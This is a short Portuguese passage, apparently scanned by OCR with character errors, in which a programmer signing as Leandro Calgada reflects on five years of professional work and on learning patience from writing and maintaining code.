Faz mais de cinco anos
que fiz meu primeiro programa
coma prafissional. Nesse
periada, j& fui pedra e ja fui
vidraga, ¢ posso afirmar que a
dor das duas posigies &
Igualmente grande. E se nédo

e facil entregar o proprio filho
ou cuidar do filho dos outros,
N\ o aprendizada, ao menos,
sempre & gratificante. Ainda
gue sb se aprenda 2 ter um
pouco mais de paciéncia
e habilidade. PEM

Leandro Calgada

(ORINer CoNTl,
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